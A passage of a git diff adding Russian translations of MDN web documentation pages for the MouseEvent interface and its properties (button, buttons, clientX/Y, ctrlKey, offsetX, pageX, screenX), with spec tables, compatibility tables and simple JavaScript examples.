При необходимости вы можете определить, поддерживается ли это ограничение, проверив значение {{domxref("MediaTrackSupportedConstraints.echoCancellation")}} как результат вызова {{domxref("MediaDevices.getSupportedConstraints()")}}. Однако, обычно в этом нет необходимости, поскольку браузеры просто игнорируют любые незнакомые им ограничения.

+ +

Поскольку {{Glossary("RTP")}} не содержит эту информцию, медиа-треки связанные с WebRTC {{domxref("RTCPeerConnection")}} некогда не будут включать это свойство.

+ +

Синтаксис

+ +
const constraintsObject = {
+  echoCancellation: constraint,
+};
+
+constraintsObject.echoCancellation = constraint;
+
+ +

Значение

+ +

Если это значение является простым true или false, пользовательский агент попытается получить медиа с включенным или отключенным эхоподавлением, если это возможно, но не вернет ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем exact , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполненым - запрос вернет ошибку.

+ +

Пример

+ +

Смотрите {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API/Constraints", "Example: Constraint exerciser")}} для примера.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Media Capture', '#dom-mediatrackconstraintset-echocancellation', 'echoCancellation') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MediaTrackConstraints.echoCancellation")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/button/index.html b/files/ru/web/api/mouseevent/button/index.html new file mode 100644 index 0000000000..a5bd49e4b9 --- /dev/null +++ b/files/ru/web/api/mouseevent/button/index.html @@ -0,0 +1,152 @@ +--- +title: MouseEvent.button +slug: Web/API/MouseEvent/button +translation_of: Web/API/MouseEvent/button +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.button свойство доступное только для чтения, возвращает значение, соответствующее нажатой кнопки мыши, которое инициировало событие.

+ +

Это свойство предоставляет информацию только о том, какая кнопка или несколько кнопок были нажаты или отпущены для инициации события, и не имеет отношения к таким событиям как  {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mouseover")}}, {{event("mouseout")}} или {{event("mousemove")}}.

+ +

Пользователь может изменять конфигурацию кнопок своей мыши таким образом, что значение ноль будет получено при нажатии кнопки, не являющейся физически крайней левой кнопкой мыши, тем не менее, событие будет вести себя так, как будто левая кнопка была нажата в стандартной раскладкой кнопок.

+ +
+

Примечание: Не путайте это свойство со свойством {{domxref ( "MouseEvent.buttons")}}, которое содержит значения, соответствующие нажатым кнопкам мыши для всех типов событий мыши.

+
+ +

Синтаксис

+ +
var buttonPressed = instanceOfMouseEvent.button
+
+ +

Возвращаемые значения

+ +

Число, соответстующее нажатой кнопке:

+ + + +

Для мыши, перенастроенной под левую руку, значения нажатых кнопок меняются местами. В этом случае значения читаются справа налево.

+ +

Пример

+ +
<script>
+var whichButton = function (e) {
+    // Handle different event models
+    var e = e || window.event;
+    var btnCode;
+
+    if ('object' === typeof e) {
+        btnCode = e.button;
+
+        switch (btnCode) {
+            case 0:
+                console.log('Нажата левая кнопка.');
+            break;
+
+            case 1:
+                console.log('Нажата средняя кнопка или колёсико.');
+            break;
+
+            case 2:
+                console.log('Нажата правая кнопка.');
+            break;
+
+            default:
+                console.log('Неопределённое событие: ' + btnCode);
+        }
+    }
+}
+</script>
+
+<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">Нажмите кнопку мыши...</button>
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-button','MouseEvent.button')}}{{Spec2('DOM3 Events')}}Compared to {{SpecName('DOM2 Events')}}, the return value can be negative.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.button')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Поддерживается браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}1.09.0 [1]{{CompatVersionUnknown}}3.0.4
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Это соглашение не поддерживается браузерами Internet Explorer до версии 9: см. QuirksMode for details.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/mouseevent/buttons/index.html b/files/ru/web/api/mouseevent/buttons/index.html new file mode 100644 index 0000000000..76a76cfbb4 --- /dev/null +++ b/files/ru/web/api/mouseevent/buttons/index.html @@ -0,0 +1,125 @@ +--- +title: MouseEvent.buttons +slug: Web/API/MouseEvent/buttons +translation_of: Web/API/MouseEvent/buttons +--- +
{{APIRef("DOM Events")}}
+ +
СвойствоMouseEvent.buttonsдоступно только для чтения. Оно показывает, какие клавиши мыши (или другого устройства ввода) были нажаты при срабатывании события.
+ +
 
+ +
Для каждой нажатой кнопки есть своё уникальное битовое значение (см. ниже раздел "Возвращаемые значения"). Если нажаты несколько кнопок одновременно, значения суммируются, создавая новое значение. Например, если нажата вторая кнопка (2 или 000010 в двоичном коде) вместе со средней (4 или 000100 в двоичном коде), значение будет равно 6 (2 + 4) или 000110 в двоичном коде.
+ +
 
+ +
+

Note: Не путайте это свойство со свойством {{domxref("MouseEvent.button")}}. Текущее свойство {{domxref("MouseEvent.buttons")}} показывает состояние нажатых кнопок при любом событии мыши, а свойство {{domxref("MouseEvent.button")}} указывает на события, произошедшие в результате нажатия/отпускания кнопок мыши.

+
+ +

Синтаксис

+ +
var buttonPressed = instanceOfMouseEvent.buttons
+
+ +

Возвращаемые значения

+ +

Целое число, представляющее одну или несколько кнопок. При одновременном нажатии нескольких кнопок значения объединяются (например, 3 = первая (1) + вторая (2) кнопки мыши):

+ + + +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-buttons','MouseEvent.buttons')}}{{Spec2('DOM3 Events')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(43)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]9{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko supports the buttons attribute on Windows, Linux (GTK), and Mac OS with the following restrictions:

+ + + +

Смотри также

+ + diff --git a/files/ru/web/api/mouseevent/clientx/index.html b/files/ru/web/api/mouseevent/clientx/index.html new file mode 100644 index 0000000000..2122a975a2 --- /dev/null +++ b/files/ru/web/api/mouseevent/clientx/index.html @@ -0,0 +1,132 @@ +--- +title: MouseEvent.clientX +slug: Web/API/MouseEvent/clientX +tags: + - API + - CSSOM View + - DOM + - DOM Events + - MouseEvent + - Property + - Read-only +translation_of: Web/API/MouseEvent/clientX +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.clientX свойство доступное только для чтения. Это свойство является горизонтальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства clientX равным 0, независимо от того, прокручена страницы по горизонтали или нет.

+ +

Синтаксис

+ +
var x = instanceOfMouseEvent.clientX
+
+ +

Возвращаемое значение

+ +

Числовое значение горизонтальной координаты

+ +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Пример для clientX\clientY</title>
+
+<script>
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+</script>
+</head>
+
+<body onmousedown="showCoords(event)">
+<p>Для показа координат мышки нажмите в любом месте страницы.</p>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}{{Spec2('DOM3 Events')}}Нет отличий от {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}{{Spec2('DOM2 Events')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}6{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/clienty/index.html b/files/ru/web/api/mouseevent/clienty/index.html new file mode 100644 index 0000000000..02d03fb891 --- /dev/null +++ b/files/ru/web/api/mouseevent/clienty/index.html @@ -0,0 +1,124 @@ +--- +title: MouseEvent.clientY +slug: Web/API/MouseEvent/clientY +translation_of: Web/API/MouseEvent/clientY +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.clientY свойство доступное только для чтения. Это свойство является вертикальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства clientY равным 0, независимо от того, прокручена страницы по вертикали или нет.

+ +

Синтаксис

+ +
var y = instanceOfMouseEvent.clientY
+
+ +

Возвращаемое значение

+ +

Числовое значение вертикальной координаты

+ +

Example

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Пример для clientX\clientY</title>
+
+<script>
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+</script>
+</head>
+
+<body onmousedown="showCoords(event)">
+<p>Для показа координат мышки нажмите в любом месте страницы.</p>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM3 Events','#widl-MouseEvent-clientY','MouseEvent.clientY')}}{{Spec2('DOM3 Events')}}Нет отличий от {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientY')}}{{Spec2('DOM2 Events')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}6{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/ctrlkey/index.html b/files/ru/web/api/mouseevent/ctrlkey/index.html new file mode 100644 index 0000000000..6b8815d8da --- /dev/null +++ b/files/ru/web/api/mouseevent/ctrlkey/index.html @@ -0,0 +1,71 @@ +--- +title: MouseEvent.ctrlKey +slug: Web/API/MouseEvent/ctrlKey +translation_of: Web/API/MouseEvent/ctrlKey +--- +

{{APIRef("DOM Events")}}

+ +

Свойство только для чтения MouseEvent.ctrlKey возращает true, когда клавиша Ctrl была нажата, а если нет - false.

+ +

Синтаксис

+ +
var ctrlKeyPressed = instanceOfMouseEvent.ctrlKey
+
+ +

Возвращаемое значение

+ +

Boolean

+ +

Пример

+ +
<html>
+<head>
+<title>Пример с ctrlKey</title>
+
+<script type="text/javascript">
+document.addEventListener('click', function(e) {
+  console.log('Нажата клавиша Ctrl?', e.ctrlKey);
+})
+</script>
+</head>
+
+<body>
+<p>
+Кликните в любое место на странице и откройте консоль разработчика, чтобы узнать - нажата ли клавиша Ctrl?
+</p>
+</body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM3 Events','#widl-MouseEvent-ctrlKey','MouseEvent.ctrlKey')}}{{Spec2('DOM3 Events')}}Нет различий от {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.ctrlKey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Поддержка браузеров

+ + + +

{{Compat("api.MouseEvent.ctrlKey")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html new file mode 100644 index 0000000000..610f8aacef --- /dev/null +++ b/files/ru/web/api/mouseevent/index.html @@ -0,0 +1,303 @@ +--- +title: MouseEvent +slug: Web/API/MouseEvent +tags: + - API + - DOM + - DOM Events + - Interface + - NeedsTranslation + - Reference +translation_of: Web/API/MouseEvent +--- +

{{APIRef("DOM Events")}}

+ +

Интерфейс MouseEvent представляет собой событие, которое происходит в результате взаимодествия пользователя с  манипулятором ( например, мышью). Наиболее частые из таких событий: {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}.

+ +

MouseEvent выводится из метода {{domxref("UIEvent")}}, который в свою очередь происходит из метода {{domxref("Event")}}. Метод {{domxref("MouseEvent.initMouseEvent()")}} допустимо использовать для лучшей совместимости с предыдущими версиями, однако, для создания  MouseEvent рекомендуется использовать конструктор метода  {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}.

+ +

Несколько более конкретные события, производные от события mouseevent: {{domxref("WheelEvent")}} and {{domxref("DragEvent")}}.

+ +

Конструктор

+ +
+
{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}
+
Создает объект MouseEvent.
+
+ +

Свойства

+ +

Данный интерфес наследует свойства от родителей {{domxref("UIEvent")}} и {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.altKey")}} {{readonlyinline}}
+
Возвращает значение true, если клавиша  alt была нажата во время движения мыши.
+
{{domxref("MouseEvent.button")}} {{readonlyinline}}
+
Представляет код клавиши, нажатой в то время, когда произошло событие мыши.
+
{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}
+
+

Отображает, какие клавиши были нажаты во время движения мыши.

+
+
{{domxref("MouseEvent.clientX")}} {{readonlyinline}}
+
Отображение X координат курсора мыши в локальной системе координат (DOM контент).
+
{{domxref("MouseEvent.clientY")}} {{readonlyinline}}
+
Отображение Y координат курсора мыши в локальной системе координат (DOM контент).
+
{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}
+
Возвращает значение true, если клавиша control была нажата во время движения мыши.
+
{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}
+
Возвращает значение true, если клавиша meta была нажата во время движения мыши.
+
{{domxref("MouseEvent.movementX")}} {{readonlyinline}}
+
Отображает X координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.
+
{{domxref("MouseEvent.movementY")}} {{readonlyinline}}
+
Отображает Y координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.
+
{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}
+
Отображает X координат указателя мыши относительно позиции границы отступа целевого узла.
+
{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}
+
Отображает Y координат указателя мыши относительно позиции границы отступа целевого узла.
+
{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}
+
Отображает X координат указателя мыши относительно всего документа.
+
{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}
+
Отображает Y координат указателя мыши относительно всего документа.
+
{{domxref("MouseEvent.region")}} {{readonlyinline}}
+
Возвращает id затронутого событием региона. Если ни какой регион затронут не был, возвращает null.
+
{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}
+
Второстепенная цель события, если таковая есть.
+
{{domxref("MouseEvent.screenX")}} {{readonlyinline}}
+
Отображает X координат указателя мыши в пространстве экрана.
+
{{domxref("MouseEvent.screenY")}} {{readonlyinline}}
+
Отображает Y координат указателя мыши в пространстве экрана.
+
{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}
+
Возвращает true если клавиша shift была нажата, когда произошло событие мыши.
+
{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}
+
Возвращает код последней нажатой клавиши, когда произошло событие мыши.
+
{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}
+
Отображает давление которое было осуществленно при нажатии. Значение будет между 0.0 (минимальное давление) и 1.0 (максимальное давление).
+
{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}
+
+

The type of device that generated the event (one of the MOZ_SOURCE_* constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).

+
+
{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}
+
Отображает количество приложенного давления при клике.
+
{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}
+
Alias для {{domxref("MouseEvent.clientX")}}.
+
{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}
+
Alias для {{domxref("MouseEvent.clientY")}}
+
+ +

Константы

+ +
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Минимальная необходимая сила для обычного клика
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}
+
Минимальная необходимая сила для усиленного клика
+
+ +

Методы

+ +

Данный интерфес наследует свойства от родителей, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("MouseEvent.getModifierState()")}}
+
Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.
+
{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}
+
Initializes the value of a MouseEvent created. If the event has already being dispatched, this method does nothing.
+
+ +

Примеры

+ +

Данный пример демонстрирует симуляцию нажатия левой клавиши мыши (событие мыши генерируется программно) по чекбоксу используя методы DOM.

+ +
function simulateClick() {
+  var evt = new MouseEvent("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);
+ +
<p><label><input type="checkbox" id="checkbox"> Checked</label>
+<p><button id="button">Click me</button>
+
+ +

Нажмите на кнопку, чтобы посмотреть, как работает пример.

+ +

{{ EmbedLiveSample('Example', '', '', '') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}{{Spec2('HTML WHATWG')}}From {{SpecName('DOM3 Events')}}, added the region property.
{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}{{Spec2('Pointer Lock')}}From {{SpecName('DOM3 Events')}}, added movementX and movementY properties.
{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}{{Spec2('CSSOM View')}}From {{SpecName('DOM3 Events')}}, added offsetX and offsetY, pageX and pageY, x, and y properties.
{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}{{Spec2('DOM3 Events')}}From {{SpecName('DOM2 Events')}}, added the MouseEvent() constructor, the getModifierState() method and the buttons property.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьFirefox (Gecko)EdgeChromeInternet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
{{domxref("MouseEvent.movementX","movementX")}}
+ {{domxref("MouseEvent.movementY","movementY")}}		{{CompatVersionUnknown()}} {{property_prefix("moz")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{ CompatUnknown() }}{{CompatVersionUnknown()}}{{ CompatUnknown() }}
{{ domxref("MouseEvent.buttons", "buttons") }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown()}}43{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatNo}}
{{ domxref("MouseEvent.which", "which") }}1.0{{CompatVersionUnknown()}}1.09.05.01.0
{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}{{CompatGeckoDesktop(15)}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}{{CompatGeckoDesktop(2)}}{{ CompatUnknown() }}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}{{CompatGeckoDesktop(11)}}{{ CompatUnknown() }}{{CompatVersionUnknown()}}9.0{{CompatVersionUnknown()}}{{ CompatUnknown() }}
{{domxref("MouseEvent.region")}}{{CompatGeckoDesktop(32)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
{{domxref("MouseEvent.offsetX")}}, and {{domxref("MouseEvent.offsetY")}}{{experimental_inline}}{{CompatGeckoDesktop(40)}}9{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Посмотрите также

+ + diff --git a/files/ru/web/api/mouseevent/offsetx/index.html b/files/ru/web/api/mouseevent/offsetx/index.html new file mode 100644 index 0000000000..92b2f0105e --- /dev/null +++ b/files/ru/web/api/mouseevent/offsetx/index.html @@ -0,0 +1,122 @@ +--- +title: MouseEvent.offsetX +slug: Web/API/MouseEvent/offsetX +tags: + - API + - MouseEvent + - Property + - Read-only +translation_of: Web/API/MouseEvent/offsetX +--- +

{{APIRef("DOM Events")}}{{SeeCompatTable}}

+ +

Свойство MouseEvent.offsetX, доступное только для чтения, показывает отступ курсора мыши по оси X от края целевого DOM узла.

+ +

 

+ +

Синтаксис

+ +
var xOffset = instanceOfMouseEvent.offsetX;
+
+ +

Возвращаемое значение

+ +

Значение с плавающей запятой - double. Ранние версии спецификации определяли возвращаемое значение как целое число. Подробнее смотрите в разделе про совместимость с браузерами.

+ +

Спецификации

+ + + + + + + + + + + + + + +
ХарактеристкаСтатусКомментарий
{{SpecName('CSSOM View', '#dom-mouseevent-offsetx', 'MouseEvent')}}{{Spec2('CSSOM View')}}Начальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}6{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Переопределено с long на double{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("43.0")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Переопределено с long на double{{CompatChrome(56)}}{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/pagex/index.html b/files/ru/web/api/mouseevent/pagex/index.html new file mode 100644 index 0000000000..ca9b24d6b9 --- /dev/null +++ b/files/ru/web/api/mouseevent/pagex/index.html @@ -0,0 +1,124 @@ +--- +title: MouseEvent.pageX +slug: Web/API/MouseEvent/pageX +translation_of: Web/API/MouseEvent/pageX +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.pageX - это свойство {{domxref("MouseEvent")}} доступное только для чтения. Данное свойство возвращает значение равное горизонтальной координате, относительно всего документа. Это свойство учитывает любую горизонтальную прокрутку страницы. Первоначально это свойство было определено как длинное целое число. Модуль просмотра CSSOM переопределил его как double float. Подробнее см. Раздел «Совместимость с браузером».

+ +

Синтаксис

+ +
var pos = event.pageX
+ +

Примеры

+ +
var pageX = event.pageX;
+pageX === event.clientX + (window.pageYOffset || document.body.scrollTop);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-pagex', 'pageX')}}{{Spec2('CSSOM View')}}Redefined from long to double.
{{SpecName('Touch Events', '#widl-Touch-pageX', 'pageX')}}{{Spec2('TouchEvents')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(45.0)}}{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html new file mode 100644 index 0000000000..3dfb626393 --- /dev/null +++ b/files/ru/web/api/mouseevent/screenx/index.html @@ -0,0 +1,93 @@ +--- +title: MouseEvent.screenX +slug: Web/API/MouseEvent/screenX +translation_of: Web/API/MouseEvent/screenX +--- +
{{APIRef("DOM Events")}}
+ +

screenX - read-only свойство интерфейса события {{domxref("MouseEvent")}}, соответствующее горизонтальной координате (смещению) указателя мыши в глобальных (экранных) координатах.

+ +

Синтаксис

+ +
var x = instanceOfMouseEvent.screenX
+
+ +

Возвращаемое значение

+ +

Значение с плавающей точкой типа double. В ранних версиях этой спецификации определялось как целое число, соответсвующее количеству пикселей. Подробнее см. раздел "Совместимость с браузерами". 

+ +

Пример

+ +

Этом примерер демонстрирует координаты вашей мыши в случае получения события {{Event("mousemove")}}.

+ +

HTML

+ +
<p>Подвигайте мышью, чтобы увидеть положение ее курсора.</p>
+<p id="screen-log"></p>
+ +

JavaScript

+ +
let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}
+ +

Результат выполнения

+ +

{{EmbedLiveSample("Example")}}

+ +

Обработка события

+ +

Когда вы отлавливаете события на окне, документе или других элементах, имеющих размер, вы можете получить координаты этого события (например, клика), и обработать его соответсвующим образом, например, так, как в этом примере:

+ +
function checkClickMap(e) {
+  if (e.screenX < 50) doRedButton();
+  if (50 <= e.screenX && e.screenX < 100) doYellowButton();
+  if (e.screenX >= 100) doRedButton();
+}
+
+ +

Спецификации

